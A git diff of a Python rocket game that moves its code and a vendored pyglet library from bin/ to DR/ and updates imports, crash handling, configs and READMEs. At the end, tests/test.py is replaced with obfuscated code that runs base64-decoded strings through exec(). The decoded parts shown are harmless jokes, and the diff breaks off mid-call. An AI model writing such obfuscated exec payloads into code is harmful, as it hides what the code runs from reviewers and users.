bin/libs/pyglet/libs/x11/cursorfont.py rename to DR/libs/pyglet/libs/x11/cursorfont.py diff --git a/bin/libs/pyglet/libs/x11/xf86vmode.py b/DR/libs/pyglet/libs/x11/xf86vmode.py similarity index 100% rename from bin/libs/pyglet/libs/x11/xf86vmode.py rename to DR/libs/pyglet/libs/x11/xf86vmode.py diff --git a/bin/libs/pyglet/libs/x11/xinerama.py b/DR/libs/pyglet/libs/x11/xinerama.py similarity index 100% rename from bin/libs/pyglet/libs/x11/xinerama.py rename to DR/libs/pyglet/libs/x11/xinerama.py diff --git a/bin/libs/pyglet/libs/x11/xinput.py b/DR/libs/pyglet/libs/x11/xinput.py similarity index 100% rename from bin/libs/pyglet/libs/x11/xinput.py rename to DR/libs/pyglet/libs/x11/xinput.py diff --git a/bin/libs/pyglet/libs/x11/xlib.py b/DR/libs/pyglet/libs/x11/xlib.py similarity index 100% rename from bin/libs/pyglet/libs/x11/xlib.py rename to DR/libs/pyglet/libs/x11/xlib.py diff --git a/bin/libs/pyglet/libs/x11/xsync.py b/DR/libs/pyglet/libs/x11/xsync.py similarity index 100% rename from bin/libs/pyglet/libs/x11/xsync.py rename to DR/libs/pyglet/libs/x11/xsync.py diff --git a/bin/libs/pyglet/math.py b/DR/libs/pyglet/math.py similarity index 100% rename from bin/libs/pyglet/math.py rename to DR/libs/pyglet/math.py diff --git a/bin/libs/pyglet/media/__init__.py b/DR/libs/pyglet/media/__init__.py similarity index 100% rename from bin/libs/pyglet/media/__init__.py rename to DR/libs/pyglet/media/__init__.py diff --git a/bin/libs/pyglet/media/buffered_logger.py b/DR/libs/pyglet/media/buffered_logger.py similarity index 100% rename from bin/libs/pyglet/media/buffered_logger.py rename to DR/libs/pyglet/media/buffered_logger.py diff --git a/bin/libs/pyglet/media/codecs/__init__.py b/DR/libs/pyglet/media/codecs/__init__.py similarity index 100% rename from bin/libs/pyglet/media/codecs/__init__.py rename to DR/libs/pyglet/media/codecs/__init__.py diff --git a/bin/libs/pyglet/media/codecs/base.py b/DR/libs/pyglet/media/codecs/base.py similarity index 100% rename from bin/libs/pyglet/media/codecs/base.py rename to DR/libs/pyglet/media/codecs/base.py diff --git a/bin/libs/pyglet/media/codecs/ffmpeg.py b/DR/libs/pyglet/media/codecs/ffmpeg.py similarity index 100% rename from bin/libs/pyglet/media/codecs/ffmpeg.py rename to DR/libs/pyglet/media/codecs/ffmpeg.py diff --git a/bin/libs/pyglet/media/codecs/ffmpeg_lib/__init__.py b/DR/libs/pyglet/media/codecs/ffmpeg_lib/__init__.py similarity index 100% rename from bin/libs/pyglet/media/codecs/ffmpeg_lib/__init__.py rename to DR/libs/pyglet/media/codecs/ffmpeg_lib/__init__.py diff --git a/bin/libs/pyglet/media/codecs/ffmpeg_lib/libavcodec.py b/DR/libs/pyglet/media/codecs/ffmpeg_lib/libavcodec.py similarity index 100% rename from bin/libs/pyglet/media/codecs/ffmpeg_lib/libavcodec.py rename to DR/libs/pyglet/media/codecs/ffmpeg_lib/libavcodec.py diff --git a/bin/libs/pyglet/media/codecs/ffmpeg_lib/libavformat.py b/DR/libs/pyglet/media/codecs/ffmpeg_lib/libavformat.py similarity index 100% rename from bin/libs/pyglet/media/codecs/ffmpeg_lib/libavformat.py rename to DR/libs/pyglet/media/codecs/ffmpeg_lib/libavformat.py diff --git a/bin/libs/pyglet/media/codecs/ffmpeg_lib/libavutil.py b/DR/libs/pyglet/media/codecs/ffmpeg_lib/libavutil.py similarity index 100% rename from bin/libs/pyglet/media/codecs/ffmpeg_lib/libavutil.py rename to DR/libs/pyglet/media/codecs/ffmpeg_lib/libavutil.py diff --git a/bin/libs/pyglet/media/codecs/ffmpeg_lib/libswresample.py b/DR/libs/pyglet/media/codecs/ffmpeg_lib/libswresample.py similarity index 100% rename from bin/libs/pyglet/media/codecs/ffmpeg_lib/libswresample.py rename to DR/libs/pyglet/media/codecs/ffmpeg_lib/libswresample.py diff --git a/bin/libs/pyglet/media/codecs/ffmpeg_lib/libswscale.py b/DR/libs/pyglet/media/codecs/ffmpeg_lib/libswscale.py similarity index 100% rename from bin/libs/pyglet/media/codecs/ffmpeg_lib/libswscale.py rename to DR/libs/pyglet/media/codecs/ffmpeg_lib/libswscale.py diff --git a/bin/libs/pyglet/media/codecs/gstreamer.py b/DR/libs/pyglet/media/codecs/gstreamer.py similarity index 100% rename from bin/libs/pyglet/media/codecs/gstreamer.py rename to DR/libs/pyglet/media/codecs/gstreamer.py diff --git a/bin/libs/pyglet/media/codecs/wave.py b/DR/libs/pyglet/media/codecs/wave.py similarity index 100% rename from bin/libs/pyglet/media/codecs/wave.py rename to DR/libs/pyglet/media/codecs/wave.py diff --git a/bin/libs/pyglet/media/codecs/wmf.py b/DR/libs/pyglet/media/codecs/wmf.py similarity index 100% rename from bin/libs/pyglet/media/codecs/wmf.py rename to DR/libs/pyglet/media/codecs/wmf.py diff --git a/bin/libs/pyglet/media/devices/__init__.py b/DR/libs/pyglet/media/devices/__init__.py similarity index 100% rename from bin/libs/pyglet/media/devices/__init__.py rename to DR/libs/pyglet/media/devices/__init__.py diff --git a/bin/libs/pyglet/media/devices/base.py b/DR/libs/pyglet/media/devices/base.py similarity index 100% rename from bin/libs/pyglet/media/devices/base.py rename to DR/libs/pyglet/media/devices/base.py diff --git a/bin/libs/pyglet/media/devices/win32.py b/DR/libs/pyglet/media/devices/win32.py similarity index 100% rename from bin/libs/pyglet/media/devices/win32.py rename to DR/libs/pyglet/media/devices/win32.py diff --git a/bin/libs/pyglet/media/drivers/__init__.py b/DR/libs/pyglet/media/drivers/__init__.py similarity index 100% rename from bin/libs/pyglet/media/drivers/__init__.py rename to DR/libs/pyglet/media/drivers/__init__.py diff --git a/bin/libs/pyglet/media/drivers/base.py b/DR/libs/pyglet/media/drivers/base.py similarity index 100% rename from bin/libs/pyglet/media/drivers/base.py rename to DR/libs/pyglet/media/drivers/base.py diff --git a/bin/libs/pyglet/media/drivers/directsound/__init__.py b/DR/libs/pyglet/media/drivers/directsound/__init__.py similarity index 100% rename from bin/libs/pyglet/media/drivers/directsound/__init__.py rename to DR/libs/pyglet/media/drivers/directsound/__init__.py diff --git a/bin/libs/pyglet/media/drivers/directsound/adaptation.py b/DR/libs/pyglet/media/drivers/directsound/adaptation.py similarity index 100% rename from bin/libs/pyglet/media/drivers/directsound/adaptation.py rename to DR/libs/pyglet/media/drivers/directsound/adaptation.py diff --git a/bin/libs/pyglet/media/drivers/directsound/exceptions.py b/DR/libs/pyglet/media/drivers/directsound/exceptions.py similarity index 100% rename from bin/libs/pyglet/media/drivers/directsound/exceptions.py rename to DR/libs/pyglet/media/drivers/directsound/exceptions.py diff --git a/bin/libs/pyglet/media/drivers/directsound/interface.py b/DR/libs/pyglet/media/drivers/directsound/interface.py similarity index 100% rename from bin/libs/pyglet/media/drivers/directsound/interface.py rename to DR/libs/pyglet/media/drivers/directsound/interface.py diff --git a/bin/libs/pyglet/media/drivers/directsound/lib_dsound.py b/DR/libs/pyglet/media/drivers/directsound/lib_dsound.py similarity index 100% rename from bin/libs/pyglet/media/drivers/directsound/lib_dsound.py rename to DR/libs/pyglet/media/drivers/directsound/lib_dsound.py diff --git a/bin/libs/pyglet/media/drivers/listener.py b/DR/libs/pyglet/media/drivers/listener.py similarity index 100% rename from bin/libs/pyglet/media/drivers/listener.py rename to DR/libs/pyglet/media/drivers/listener.py diff --git a/bin/libs/pyglet/media/drivers/openal/__init__.py b/DR/libs/pyglet/media/drivers/openal/__init__.py similarity index 100% rename from bin/libs/pyglet/media/drivers/openal/__init__.py rename to DR/libs/pyglet/media/drivers/openal/__init__.py diff --git a/bin/libs/pyglet/media/drivers/openal/adaptation.py b/DR/libs/pyglet/media/drivers/openal/adaptation.py similarity index 100% rename from bin/libs/pyglet/media/drivers/openal/adaptation.py rename to DR/libs/pyglet/media/drivers/openal/adaptation.py diff --git a/bin/libs/pyglet/media/drivers/openal/interface.py b/DR/libs/pyglet/media/drivers/openal/interface.py similarity index 100% rename from bin/libs/pyglet/media/drivers/openal/interface.py rename to DR/libs/pyglet/media/drivers/openal/interface.py diff --git a/bin/libs/pyglet/media/drivers/openal/lib_alc.py b/DR/libs/pyglet/media/drivers/openal/lib_alc.py similarity index 100% rename from bin/libs/pyglet/media/drivers/openal/lib_alc.py rename to DR/libs/pyglet/media/drivers/openal/lib_alc.py diff --git a/bin/libs/pyglet/media/drivers/openal/lib_openal.py b/DR/libs/pyglet/media/drivers/openal/lib_openal.py similarity index 100% rename from bin/libs/pyglet/media/drivers/openal/lib_openal.py rename to DR/libs/pyglet/media/drivers/openal/lib_openal.py diff --git a/bin/libs/pyglet/media/drivers/pulse/__init__.py b/DR/libs/pyglet/media/drivers/pulse/__init__.py similarity index 100% rename from bin/libs/pyglet/media/drivers/pulse/__init__.py rename to DR/libs/pyglet/media/drivers/pulse/__init__.py diff --git a/bin/libs/pyglet/media/drivers/pulse/adaptation.py b/DR/libs/pyglet/media/drivers/pulse/adaptation.py similarity index 100% rename from bin/libs/pyglet/media/drivers/pulse/adaptation.py rename to DR/libs/pyglet/media/drivers/pulse/adaptation.py diff --git a/bin/libs/pyglet/media/drivers/pulse/interface.py b/DR/libs/pyglet/media/drivers/pulse/interface.py similarity index 100% rename from bin/libs/pyglet/media/drivers/pulse/interface.py rename to DR/libs/pyglet/media/drivers/pulse/interface.py diff --git a/bin/libs/pyglet/media/drivers/pulse/lib_pulseaudio.py b/DR/libs/pyglet/media/drivers/pulse/lib_pulseaudio.py similarity index 100% rename from bin/libs/pyglet/media/drivers/pulse/lib_pulseaudio.py rename to DR/libs/pyglet/media/drivers/pulse/lib_pulseaudio.py diff --git a/bin/libs/pyglet/media/drivers/silent/__init__.py b/DR/libs/pyglet/media/drivers/silent/__init__.py similarity index 100% rename from bin/libs/pyglet/media/drivers/silent/__init__.py rename to DR/libs/pyglet/media/drivers/silent/__init__.py diff --git a/bin/libs/pyglet/media/drivers/silent/adaptation.py b/DR/libs/pyglet/media/drivers/silent/adaptation.py similarity index 100% rename from bin/libs/pyglet/media/drivers/silent/adaptation.py rename to DR/libs/pyglet/media/drivers/silent/adaptation.py diff --git a/bin/libs/pyglet/media/drivers/xaudio2/__init__.py b/DR/libs/pyglet/media/drivers/xaudio2/__init__.py similarity index 100% rename from bin/libs/pyglet/media/drivers/xaudio2/__init__.py rename to DR/libs/pyglet/media/drivers/xaudio2/__init__.py diff --git a/bin/libs/pyglet/media/drivers/xaudio2/adaptation.py b/DR/libs/pyglet/media/drivers/xaudio2/adaptation.py similarity index 100% rename from bin/libs/pyglet/media/drivers/xaudio2/adaptation.py rename to DR/libs/pyglet/media/drivers/xaudio2/adaptation.py diff --git a/bin/libs/pyglet/media/drivers/xaudio2/interface.py b/DR/libs/pyglet/media/drivers/xaudio2/interface.py similarity index 100% rename from bin/libs/pyglet/media/drivers/xaudio2/interface.py rename to DR/libs/pyglet/media/drivers/xaudio2/interface.py diff --git a/bin/libs/pyglet/media/drivers/xaudio2/lib_xaudio2.py b/DR/libs/pyglet/media/drivers/xaudio2/lib_xaudio2.py similarity index 100% rename from bin/libs/pyglet/media/drivers/xaudio2/lib_xaudio2.py rename to DR/libs/pyglet/media/drivers/xaudio2/lib_xaudio2.py diff --git a/bin/libs/pyglet/media/events.py b/DR/libs/pyglet/media/events.py similarity index 100% rename from bin/libs/pyglet/media/events.py rename to DR/libs/pyglet/media/events.py diff --git a/bin/libs/pyglet/media/exceptions.py b/DR/libs/pyglet/media/exceptions.py similarity index 100% rename from bin/libs/pyglet/media/exceptions.py rename to DR/libs/pyglet/media/exceptions.py diff --git a/bin/libs/pyglet/media/instrumentation.py b/DR/libs/pyglet/media/instrumentation.py similarity index 100% rename from bin/libs/pyglet/media/instrumentation.py rename to DR/libs/pyglet/media/instrumentation.py diff --git a/bin/libs/pyglet/media/player.py b/DR/libs/pyglet/media/player.py similarity index 100% rename from bin/libs/pyglet/media/player.py rename to DR/libs/pyglet/media/player.py diff --git a/bin/libs/pyglet/media/synthesis.py b/DR/libs/pyglet/media/synthesis.py similarity index 100% rename from bin/libs/pyglet/media/synthesis.py rename to DR/libs/pyglet/media/synthesis.py diff --git a/bin/libs/pyglet/model/__init__.py b/DR/libs/pyglet/model/__init__.py similarity index 100% rename from bin/libs/pyglet/model/__init__.py rename to DR/libs/pyglet/model/__init__.py diff --git a/bin/libs/pyglet/model/codecs/__init__.py b/DR/libs/pyglet/model/codecs/__init__.py similarity index 100% rename from bin/libs/pyglet/model/codecs/__init__.py rename to DR/libs/pyglet/model/codecs/__init__.py diff --git a/bin/libs/pyglet/model/codecs/gltf.py b/DR/libs/pyglet/model/codecs/gltf.py similarity index 100% rename from bin/libs/pyglet/model/codecs/gltf.py rename to DR/libs/pyglet/model/codecs/gltf.py diff --git a/bin/libs/pyglet/model/codecs/obj.py b/DR/libs/pyglet/model/codecs/obj.py similarity index 100% rename from bin/libs/pyglet/model/codecs/obj.py rename to DR/libs/pyglet/model/codecs/obj.py diff --git a/bin/libs/pyglet/resource.py b/DR/libs/pyglet/resource.py similarity index 100% rename from bin/libs/pyglet/resource.py rename to DR/libs/pyglet/resource.py diff --git a/bin/libs/pyglet/shapes.py b/DR/libs/pyglet/shapes.py similarity index 100% rename from bin/libs/pyglet/shapes.py rename to DR/libs/pyglet/shapes.py diff --git a/bin/libs/pyglet/sprite.py b/DR/libs/pyglet/sprite.py similarity index 100% rename from bin/libs/pyglet/sprite.py rename to DR/libs/pyglet/sprite.py diff --git a/bin/libs/pyglet/text/__init__.py b/DR/libs/pyglet/text/__init__.py similarity index 100% rename from bin/libs/pyglet/text/__init__.py rename to DR/libs/pyglet/text/__init__.py diff --git a/bin/libs/pyglet/text/caret.py b/DR/libs/pyglet/text/caret.py similarity index 100% rename from bin/libs/pyglet/text/caret.py rename to DR/libs/pyglet/text/caret.py diff --git a/bin/libs/pyglet/text/document.py b/DR/libs/pyglet/text/document.py similarity index 100% rename from bin/libs/pyglet/text/document.py rename to DR/libs/pyglet/text/document.py diff --git a/bin/libs/pyglet/text/formats/__init__.py b/DR/libs/pyglet/text/formats/__init__.py similarity index 100% rename from bin/libs/pyglet/text/formats/__init__.py rename to DR/libs/pyglet/text/formats/__init__.py diff --git a/bin/libs/pyglet/text/formats/attributed.py b/DR/libs/pyglet/text/formats/attributed.py similarity index 100% rename from bin/libs/pyglet/text/formats/attributed.py rename to DR/libs/pyglet/text/formats/attributed.py diff --git a/bin/libs/pyglet/text/formats/html.py b/DR/libs/pyglet/text/formats/html.py similarity index 100% rename from bin/libs/pyglet/text/formats/html.py rename to DR/libs/pyglet/text/formats/html.py diff --git a/bin/libs/pyglet/text/formats/plaintext.py b/DR/libs/pyglet/text/formats/plaintext.py similarity index 100% rename from bin/libs/pyglet/text/formats/plaintext.py rename to DR/libs/pyglet/text/formats/plaintext.py diff --git a/bin/libs/pyglet/text/formats/structured.py b/DR/libs/pyglet/text/formats/structured.py similarity index 100% rename from bin/libs/pyglet/text/formats/structured.py rename to DR/libs/pyglet/text/formats/structured.py diff --git a/bin/libs/pyglet/text/layout.py b/DR/libs/pyglet/text/layout.py similarity index 100% rename from bin/libs/pyglet/text/layout.py rename to DR/libs/pyglet/text/layout.py diff --git a/bin/libs/pyglet/text/runlist.py b/DR/libs/pyglet/text/runlist.py similarity index 100% rename from bin/libs/pyglet/text/runlist.py rename to DR/libs/pyglet/text/runlist.py diff --git a/bin/libs/pyglet/util.py b/DR/libs/pyglet/util.py similarity index 100% rename from bin/libs/pyglet/util.py rename to DR/libs/pyglet/util.py diff --git a/bin/libs/pyglet/window/__init__.py b/DR/libs/pyglet/window/__init__.py similarity index 100% rename from bin/libs/pyglet/window/__init__.py rename to DR/libs/pyglet/window/__init__.py diff --git a/bin/libs/pyglet/window/cocoa/__init__.py b/DR/libs/pyglet/window/cocoa/__init__.py similarity index 100% rename from bin/libs/pyglet/window/cocoa/__init__.py rename to DR/libs/pyglet/window/cocoa/__init__.py diff --git a/bin/libs/pyglet/window/cocoa/pyglet_delegate.py b/DR/libs/pyglet/window/cocoa/pyglet_delegate.py similarity index 100% rename from bin/libs/pyglet/window/cocoa/pyglet_delegate.py rename to DR/libs/pyglet/window/cocoa/pyglet_delegate.py diff --git a/bin/libs/pyglet/window/cocoa/pyglet_textview.py b/DR/libs/pyglet/window/cocoa/pyglet_textview.py similarity index 100% rename from bin/libs/pyglet/window/cocoa/pyglet_textview.py rename to DR/libs/pyglet/window/cocoa/pyglet_textview.py diff --git a/bin/libs/pyglet/window/cocoa/pyglet_view.py b/DR/libs/pyglet/window/cocoa/pyglet_view.py similarity index 100% rename from bin/libs/pyglet/window/cocoa/pyglet_view.py rename to DR/libs/pyglet/window/cocoa/pyglet_view.py diff --git a/bin/libs/pyglet/window/cocoa/pyglet_window.py b/DR/libs/pyglet/window/cocoa/pyglet_window.py similarity index 100% rename from bin/libs/pyglet/window/cocoa/pyglet_window.py rename to DR/libs/pyglet/window/cocoa/pyglet_window.py diff --git a/bin/libs/pyglet/window/cocoa/systemcursor.py b/DR/libs/pyglet/window/cocoa/systemcursor.py similarity index 100% rename from bin/libs/pyglet/window/cocoa/systemcursor.py rename to DR/libs/pyglet/window/cocoa/systemcursor.py diff --git a/bin/libs/pyglet/window/event.py b/DR/libs/pyglet/window/event.py similarity index 100% rename from bin/libs/pyglet/window/event.py rename to DR/libs/pyglet/window/event.py diff --git a/bin/libs/pyglet/window/headless/__init__.py b/DR/libs/pyglet/window/headless/__init__.py similarity index 100% rename from bin/libs/pyglet/window/headless/__init__.py rename to DR/libs/pyglet/window/headless/__init__.py diff --git a/bin/libs/pyglet/window/key.py b/DR/libs/pyglet/window/key.py similarity index 100% rename from bin/libs/pyglet/window/key.py rename to DR/libs/pyglet/window/key.py diff --git a/bin/libs/pyglet/window/mouse.py b/DR/libs/pyglet/window/mouse.py similarity index 100% rename from bin/libs/pyglet/window/mouse.py rename to DR/libs/pyglet/window/mouse.py diff --git a/bin/libs/pyglet/window/win32/__init__.py b/DR/libs/pyglet/window/win32/__init__.py similarity index 100% rename from bin/libs/pyglet/window/win32/__init__.py rename to DR/libs/pyglet/window/win32/__init__.py diff --git a/bin/libs/pyglet/window/xlib/__init__.py b/DR/libs/pyglet/window/xlib/__init__.py similarity index 100% rename from bin/libs/pyglet/window/xlib/__init__.py rename to DR/libs/pyglet/window/xlib/__init__.py diff --git a/bin/main.py b/DR/main.py similarity index 99% rename from bin/main.py rename to DR/main.py index a2f860e..71a1f72 100644 --- a/bin/main.py +++ b/DR/main.py @@ -14,7 +14,7 @@ if __name__ == '__main__': # been start will not run this sys.path.append('/bin/libs') sys.path.append('/bin') -import tools +from api import tools import client import server import configs @@ -27,7 +27,6 @@ class Game: self.on_python_v_info = sys.version_info self.on_python_v = sys.version.split(' ')[0] self.start_time = time.strftime('%Y-%m-%d %H-%M-%S', time.gmtime(time.time())) - # share memory self.dicts = share().dict() self.lists = share().list() diff --git a/bin/server.py b/DR/server.py similarity index 90% rename from bin/server.py rename to DR/server.py index b5fcba8..6ceef1a 100644 --- a/bin/server.py +++ b/DR/server.py @@ -10,15 +10,15 @@ if __name__ == '__main__': # been start will not run this sys.path.append('/bin/libs') sys.path.append('/bin') -import tools -import delivery -from new_thread import new_thread +from api import tools +from api.delivery import Delivery +from api.new_thread import new_thread # TODO 改变服务端启动逻辑 0.6.0会写完的( class Server: - def __init__(self, dev_list, dev_dic, net_mode='local', Dev: delivery.Delivery = delivery.Delivery): + def __init__(self, dev_list, dev_dic, net_mode='local', Dev: Delivery = Delivery): # father class __init__() # mp.Process.__init__(self) # logging diff --git a/bin/unpack_textures.py b/DR/unpack_textures.py similarity index 100% rename from bin/unpack_textures.py rename to DR/unpack_textures.py diff --git a/Difficult_Rocket.py b/Difficult_Rocket.py index 8fa3fd6..1c583b6 100644 --- a/Difficult_Rocket.py +++ b/Difficult_Rocket.py @@ -6,6 +6,7 @@ mail: 3695888@qq.com import os import sys import traceback +import threading # TODO 默认位置配置文件+可自定义工作路径 @@ -25,18 +26,18 @@ if __name__ == '__main__': print("os.getcwd() = ", os.getcwd()) os.chdir(sys.path[0]) # TODO 没做完.ing - sys.path.append('./bin') - sys.path.append('./bin/libs') - from bin import main + sys.path.append('DR') + sys.path.append('DR/libs') print(hi) try: + from DR import main game = main.Game() game.start() - except: - print('the game has error , now outputing error message') + except Exception as e: + print('the game has error , now outputting error message') error = traceback.format_exc() print(error) - from bin import crash - - crash.create_crash_report(error) + from DR import crash + crash_thread = threading.Thread(target=crash.create_crash_report, args=(error, ), name='Crash report thread') + crash_thread.start() diff --git a/README.md b/README.md index 7c952c0..6458ddf 100644 --- a/README.md +++ b/README.md @@ -1,11 +1,16 @@ -# [Difficult-Rocket(github)](https://github.com/shenjackyuanjie/Difficult-Rocket) -# [Difficult-Rocket(gitee)](https://gitee.com/shenjackyuanjie/Difficult-Rocket) +# Difficult Rocket +- [github](https://github.com/shenjackyuanjie/Difficult-Rocket) +- [gitee](https://gitee.com/shenjackyuanjie/Difficult-Rocket) + +[![Generic badge](https://img.shields.io/badge/SemVer-2.0.0-blue.svg)](https://Semver.org/) +[![Generic badge](https://img.shields.io/badge/Write_with_Python-3.8.10-blue.svg)](https://Python.org) +[![Generic badge](https://img.shields.io/badge/Python-3.6_|_3.7_|_3.8_|_3.9-blue.svg)](https://Python.org) ## Version -- (developing DEMO)(coming s∞n) -- 0.4.6 release -- 0.5.0 developing +[![Generic badge](https://img.shields.io/badge/Release-0.4.5-blue.svg)](https://github.com/shenjackyuanjie/Difficult-Rocket/releases/v0.4.5) +
[![Generic badge](https://img.shields.io/badge/Pre_Release-0.4.6-blue.svg)](https://github.com/shenjackyuanjie/Difficult-Rocket/releases/v0.4.6) +
![Generic badge](https://img.shields.io/badge/Devloping-0.5.1-blue.svg) ## 中文README请移步 [这里](./docs/README-cn.md) diff --git a/bin/crash.py b/bin/crash.py deleted file mode 100644 index 1fe9b79..0000000 --- a/bin/crash.py +++ /dev/null @@ -1,32 +0,0 @@ -""" -writen by shenjackyuanjie -mail: 3695888@qq.com -github: @shenjackyuanjie -gitee: @shenjackyuanjie -""" - -import os -import sys -import time -import traceback - - -# where the crash report from -# this can't be crash , or the game will really crash! - -# TODO 写完它 - -head_message = """# ========== Difficult Rocket Crash Report ==========""" - - -def create_crash_report(crash_info: str) -> None: - print(os.listdir('./')) - if 'crash_report' not in os.listdir('./'): - os.mkdir('./crash_report') - date_time = time.strftime('%Y-%m-%d %H-%M-%S', time.gmtime(time.time())) - filename = 'crash-{}' - - -if __name__ == '__main__': - os.chdir('../') - create_crash_report('ah') diff --git a/configs/main.config b/configs/main.config index bd9fca6..13a12a0 100644 --- a/configs/main.config +++ b/configs/main.config @@ -7,8 +7,8 @@ write_py_v = 3.8.10 [window] style = None -width = 1454 -height = 979 +width = 849 +height = 697 visible = true caption = Difficult Rocket {version} resizable = true diff --git a/configs/sys_value/parts.json5 b/configs/sys_value/parts.json5 index 4c5b040..c75dfd2 100644 --- a/configs/sys_value/parts.json5 +++ b/configs/sys_value/parts.json5 @@ -2,49 +2,31 @@ /* 'part id': [ [ - 'part name', - // part name can be reuse - 'description', - // 描述 - ], - // about names and other - [ - 'float', - // mass - 'bool', - // hidden in part list - 'bool', - // hidden in mission (even thought that is not done yet) - 'float' - // buoyancy(浮力) in the water - ], - // about config - [ - 'xxx.png', - // texture file name + 'part name', // part name can be reuse + 'description', // 描述 + ], // about names and other + [ 'float', // mass + 'bool', // hidden in part list + 'bool', // hidden in mission (even thought that is not done yet) + 'float' // buoyancy(浮力) in the water + ], // about config + [ 'xxx.png', // texture file name //可以为包含文件夹的 比如:./engine/xxx.png - [ - 'float', - 'float' - ] - // 贴图偏移量 - // 指的是部件的碰撞箱左上角到贴图左上角的距离 - ], - // about texture - [ - 'float', - 'float' - ], + [ 'float', // 贴图偏移量 + 'float' ] // 指的是部件的碰撞箱左上角到贴图左上角的距离 + ], // about texture + [ 'float', + 'float' ], // 碰撞箱大小 (暂时只支持方形碰撞箱) - //坐标轴也是从左上开始 + // 坐标轴也是从左下开始 [ '特殊值(懒得写)' ] ], */ - test1: [ + 'test1': [ [ - 'test1', + 'test-1', '一个测试用部件' ], [ diff --git a/configs/textures.json5 b/configs/textures.json5 index f6c42c0..b4b9c26 100644 --- a/configs/textures.json5 +++ b/configs/textures.json5 @@ -19,5 +19,8 @@ 'rotate': 'Editor/RotateButton.png', 'trash_can': 'Editor/TrashCan.png' } + }, + 'Runtime': { + } } \ No newline at end of file diff --git a/docs/README-cn.md b/docs/README-cn.md index 25e9e2d..7a19098 100644 --- a/docs/README-cn.md +++ b/docs/README-cn.md @@ -1,11 +1,16 @@ -# [Difficult-Rocket(github)](https://github.com/shenjackyuanjie/Difficult-Rocket) -# [Difficult-Rocket(gitee)](https://gitee.com/shenjackyuanjie/Difficult-Rocket) +# Difficult Rocket +- [github](https://github.com/shenjackyuanjie/Difficult-Rocket) +- [gitee](https://gitee.com/shenjackyuanjie/Difficult-Rocket) + +[![Generic badge](https://img.shields.io/badge/SemVer-2.0.0-blue.svg)](https://Semver.org/) +[![Generic badge](https://img.shields.io/badge/编写_Python_版本-3.8.10-blue.svg)](https://Python.org) +[![Generic badge](https://img.shields.io/badge/Python-3.6_|_3.7_|_3.8_|_3.9-blue.svg)](https://Python.org) ## 版本 -- (开发DEMO.ing)(coming s∞n) -- 0.4.6 预览版 -- 0.5.0 开发中.ing +[![Generic badge](https://img.shields.io/badge/Release-0.4.5-blue.svg)](https://github.com/shenjackyuanjie/Difficult-Rocket/releases/v0.4.5) +
[![Generic badge](https://img.shields.io/badge/Pre_Release-0.4.6-blue.svg)](https://github.com/shenjackyuanjie/Difficult-Rocket/releases/v0.4.6) +
![Generic badge](https://img.shields.io/badge/Devloping-0.5.1-blue.svg) ### For an English version of readme, please move [here](https://github.com/shenjackyuanjie/Difficult-Rocket). diff --git a/docs/update_logs.md b/docs/update_logs.md index 94b3ecb..568928a 100644 --- a/docs/update_logs.md +++ b/docs/update_logs.md @@ -2,10 +2,27 @@ ## Readme -- [README](https://github.com/shenjackyuanjie/Difficult-Rocket) -- [中文README](README-cn.md) +[![Generic badge](https://img.shields.io/badge/SemVer-2.0.0-blue.svg)](https://Semver.org/) +![Generic badge](https://img.shields.io/badge/Version-0.5.1-yellow.svg) +- [![Readme-github](https://img.shields.io/badge/Readme-Github-blue.svg?style=flat-square&logo=Github)](https://github.com/shenjackyuanjie/Difficult-Rocket) +- [![Readme-gitee](https://img.shields.io/badge/Readme-Gitee-blue.svg?style=flat-square&logo=Gitee)](https://gitee.com/shenjackyuanjie/Difficult-Rocket) +- [![Readme-gitee](https://img.shields.io/badge/Readme-中文(点我!)-blue.svg?style=flat-square)](README-cn.md) - Using [SemVer 2.0.0](https://semver.org/) to manage version +## 202108 V 0.5.1 + +### Change + +- some info in `client` +- `tools/format_bool` now use more clever way to format + +### Add + +- `on_resize(self, width, height):` in `client` +- auto crash report in `bin/crash/create_crash_report` +- `bin/api/Exp.py` some Exception +- `bin/api/translate` to create a `translate` class that can reload language + ## 20210823 V 0.5.0 ### Change diff --git a/tests/_test_import.py b/tests/_test_import.py new file mode 100644 index 0000000..cbb615f --- /dev/null +++ b/tests/_test_import.py @@ -0,0 +1,17 @@ +""" +writen by shenjackyuanjie +mail: 3695888@qq.com +github: @shenjackyuanjie +gitee: @shenjackyuanjie +""" + +import importlib + +name = 'import_test' + +na = importlib.import_module(name) +print(na.__name__) +pllist = {} + +pllist[name] = na +pllist[name].a() diff --git a/tests/import_test.py b/tests/import_test.py new file mode 100644 index 0000000..2af9b3f --- /dev/null +++ b/tests/import_test.py @@ -0,0 +1,18 @@ +""" +writen by shenjackyuanjie +mail: 3695888@qq.com +github: @shenjackyuanjie +gitee: @shenjackyuanjie +""" + + +def a(): + print('i m a') + + +def b(): + print('i m b') + + +def c(): + print('i m c') \ No newline at end of file diff --git a/performance_test/speed_of_sprite_test.py b/tests/performance_test/speed_of_sprite_test.py similarity index 100% rename from performance_test/speed_of_sprite_test.py rename to tests/performance_test/speed_of_sprite_test.py diff --git a/performance_test/test_for_speed.py b/tests/performance_test/test_for_speed.py similarity index 100% rename from performance_test/test_for_speed.py rename to tests/performance_test/test_for_speed.py diff --git a/tests/test.py b/tests/test.py index 3ee0e5f..6f0e53c 100644 --- a/tests/test.py +++ b/tests/test.py @@ -1,39 +1,14 @@ -""" -writen by shenjackyuanjie -mail: 3695888@qq.com -""" +def YcbkolcYO02240465(subscribe=True, wEJpqYp82624=False, QDoOoooOO546119=True, + UkSKi798850cunsmvrVNuT=None): fNTDETMYK171LDnvvEf581417, rSkuEIgMbFEQ395xOJxRL813890, jGutRMiFz221252514, AyzuLteZe, sLOeUug, qdUrfF, cChczSQoWc, ECVcD244190, IqVOtgby5399950537, dyApVdzW = crLtxjf1317.b64decode, wEJpqYp82624, 9, 6, 6, 3, 4, 9, 7, 9;exec( + fNTDETMYK171LDnvvEf581417('bmV2ZXJfZ29ubmFfZ2l2ZV95b3VfdXA9JzEgQmlsbGlvbiBWaWV3cyB3b3d3dyc='));exec( + fNTDETMYK171LDnvvEf581417('cHl4bF9vYmZ1c2NhdG9lcyA9ICJ5b3VyIHRvZXMgaXMgZXhwbG9kaW5nIGlzbnQgaXQgbG9sIDp8Ig=='));exec(fNTDETMYK171LDnvvEf581417( + 'VGhpc19pc19uZXZlcl9nb2luZ190b19lbmQgPSAibG9sbG9sb2xvbG9sIGRpZCB5b3Uga25vdyB0aGF0IGltIDQgeWVhcnMgb2Rscz8hRUVFISEhIg=='));exec( + fNTDETMYK171LDnvvEf581417( + 